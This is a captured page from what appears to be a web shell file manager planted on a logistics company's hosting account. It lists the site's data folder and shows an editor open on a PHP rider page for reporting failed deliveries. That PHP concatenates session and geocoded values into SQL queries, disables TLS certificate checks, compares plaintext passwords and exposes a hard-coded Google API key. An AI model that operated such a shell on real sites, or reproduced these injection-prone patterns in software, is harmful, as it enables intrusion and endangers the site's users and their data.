📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5141.19 KB
0644
🗑️
⬇️
✏️
🔒
Editing: fap.php
<?php include"student_checker.php";?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Rider - CHBlogistics</title> <meta content="" name="description"> <meta content="" name="keywords"> <!-- Favicons --> <link href="assets/img/favicon.png" rel="icon"> <link href="assets/img/apple-touch-icon.png" rel="apple-touch-icon"> <!-- Google Fonts --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"> <!-- Vendor CSS Files --> <link href="assets/vendor/aos/aos.css" rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"> <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"> <link href="assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"> <link href="assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"> <!-- Template Main CSS File --> <link href="assets/css/dstyle.css" rel="stylesheet"> <!-- ======================================================= * Template Name: Day - v4.3.0 * Template URL: https://bootstrapmade.com/day-multipurpose-html-template-for-free/ * Author: BootstrapMade.com * License: https://bootstrapmade.com/license/ ======================================================== --> </head> <body onLoad="getLocation()"> <!-- ======= Header ======= --> <header id="header" class="d-flex align-items-center"> <div class="container d-flex align-items-center justify-content-between"> <h1 class="logo"><a href="../index.php"><img src="assets/img/apple-touch-icon.png"/></a></h1> <!-- Uncomment below if you prefer to use an image logo --> <!-- <a href="index.html" class="logo"><img src="assets/img/logo.png" alt="" class="img-fluid"></a>--> <script type="text/javascript"> <?php $lat=(isset($_GET['lat']))?$_GET['lat']:''; $long=(isset($_GET['long']))?$_GET['long']:''; function getAddress($latitude, $longitude) { //google map api url $url = "https://maps.google.com/maps/api/geocode/json?latlng=$latitude,$longitude&sensor=true&key=AIzaSyD6MS4bUOjkP0fYUklsVzIKYmGmb_MheGQ"; function curl_get_contents($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $data = curl_exec($ch); curl_close($ch); return $data; } // send http request $geocode = curl_get_contents($url); $json = json_decode($geocode); $address = $json->results[0]->formatted_address; return $address; } $latitude = $lat; $longitude = $long; $result = getAddress($latitude, $longitude); echo 'Address: ' . $result; if ($result =="") {echo "";} else { $insert = mysqli_query($con,"UPDATE dip SET locat= '$result' where id='$did'") or die ('Could not connect: ' .mysqli_error($con)); } ?> var x = document.getElementById("demo"); // get visitor's location window.onload = function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition, handleError); } else { x.innerHTML = "Geolocation is not supported by this browser."; } } // watch visitor's location function watchLocation() { if (navigator.geolocation) { navigator.geolocation.watchPosition(showPosition, handleError); } else { x.innerHTML = "Geolocation is not supported by this browser."; } } function handleError(error) { let errorStr; switch (error.code) { case error.PERMISSION_DENIED: errorStr = 'User denied the request for Geolocation.'; break; case error.POSITION_UNAVAILABLE: errorStr = 'Location information is unavailable.'; break; case error.TIMEOUT: errorStr = 'The request to get user location timed out.'; break; case error.UNKNOWN_ERROR: errorStr = 'An unknown error occurred.'; break; default: errorStr = 'An unknown error occurred.'; } x.innerHTML = 'Error occurred: ' + errorStr; } function showPosition(position) { window.location='fap.php?lat='+position.coords.latitude+'&long='+position.coords.longitude; } </script> <nav id="navbar" class="navbar"> <ul> <li><a class="nav-link scrollto active" href="ridash.php">Dashboard</a></li> <li><a class="nav-link scrollto" href="rentd.php">Awaiting Delivery(<?php $code = $_SESSION['user']; $sql = "SELECT * from rider where email = '".$code."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $did = $row["id"]; } $app = "Out For Delivery"; $sql = "SELECT count(*) As 'total' FROM parcel WHERE did = '".$did."' && status = '".$app."'" ; $sql2 = mysqli_query($con,$sql); $dad = mysqli_fetch_assoc($sql2); echo $dad['total']; ?>)</a></li> <li><a class="nav-link scrollto " href="toryd.php">History</a></li> </ul> <i class="bi bi-list mobile-nav-toggle"></i> </nav><!-- .navbar --> </div> </header><!-- End Header --> <?php include "connect_to_mysqli.php"; $code = $password="" ; $code = $_SESSION['user']; $password = $_SESSION['pass']; $check = "select * from rider where email = '".$code."' && pass = '".$password."'"; $query = mysqli_query($con,$check); if (mysqli_affected_rows($con) == 0) { echo "<div class='era'><center>Authentication failed</center><br><br>"; echo "<center><a href = '../index.php'><font color='red'>LOGIN AGAIN</font></a></center></div>"; } else { $sql = "SELECT * from rider where email = '".$code."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $did = $row["id"]; $name = $row['first']; $name2= $row['last']; $email = $row['email']; $mob = $row['phone']; $imageURL = 'upload/'.$row["file_name"]; $stat = $row['status']; } } ?> <main id="main"> <section id="services" class="services section-bg"> <div class="container"> <div class="section-title" data-aos="fade-up"> <h2>FAILED DELIVERY? - SUBMIT FORM</h2> <p>Upload the details about the failed delivery below</p> </div> <div class="row"> <form method="post" enctype="multipart/form-data" action="fail1.php" > <input type="text" name='aid' value="<?php echo $_SESSION['idel']; ?>"required hidden> <label>Take a picture</label><input id="myFileInput" type="file" name="fila" accept="image/*;capture=camera"> <script>var myInput = document.getElementById('myFileInput'); function sendPic() { var file = myInput.files[0]; // Send file here either by adding it to a `FormData` object // and sending that via XHR, or by simply passing the file into // the `send` method of an XHR instance. } myInput.addEventListener('change', sendPic, false); </script> <br><br> <br> <select id="cars" class="form-control" name="real" required> <option value="" selected="selected">- Failed Delivery happened because.. -</option> <option value="Customer was not around"> Customer was not around </option> <option value="Both Phone Numbers are unavaliable">Both Phone Numbers are unavaliable</option> <option value="Wrong OTP">Wrong OTP</option> <option value="Pickup Order request was late">Pickup Order request was late</option> <option value="Bike Broke Down ">Bike Broke Down </option> </select> <br> <textarea id="subject" class="form-control" name="sub" placeholder="Others....(Optional)" style="height:200px" ></textarea><br> <CENTER><input type="submit" name="submit" class="btn-buy" style="background-color:#FF096F; outline:none; border:none;" value="Submit"></CENTER> </form> </div> </div> </section> </section><!-- End Services Section --> </main><!-- End #main --> <!-- ======= Footer ======= --> <footer id="footer"> <div class="footer-top"> <div class="container"> <div class="row"> <div class="col-lg-6 col-md-6 footer-links"> <h4>Useful Links</h4> <ul> <li><i class="bx bx-chevron-right"></i> <a href="terms.php">Terms and Conditions</a></li> </ul> </div> <div class="col-lg-6 col-md-6 footer-links"> <h4>Connect with us</h4> <div class="social-links mt-3"> <a href="https://web.facebook.com/chblogistics" class="facebook"><i class="bx bxl-facebook"></i></a> <a href="https://www.instagram.com/chblogistics/" class="instagram"><i class="bx bxl-instagram"></i></a> <a href="https://www.linkedin.com/in/chb-logistics-079a62227/" class="linkedin"><i class="bx bxl-linkedin"></i></a> </div> </div> </div> </div> </div> </footer><!-- End Footer --> <a href="#" class="back-to-top d-flex align-items-center justify-content-center"><i class="bi bi-arrow-up-short"></i></a> <div id="preloader"></div> <!-- Vendor JS Files --> <script src="assets/vendor/aos/aos.js"></script> <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/vendor/glightbox/js/glightbox.min.js"></script> <script src="assets/vendor/isotope-layout/isotope.pkgd.min.js"></script> <script src="assets/vendor/php-email-form/validate.js"></script> <script src="assets/vendor/swiper/swiper-bundle.min.js"></script> <!-- Template Main JS File --> <script src="assets/js/main.js"></script> </body> </html>
💾 Save Changes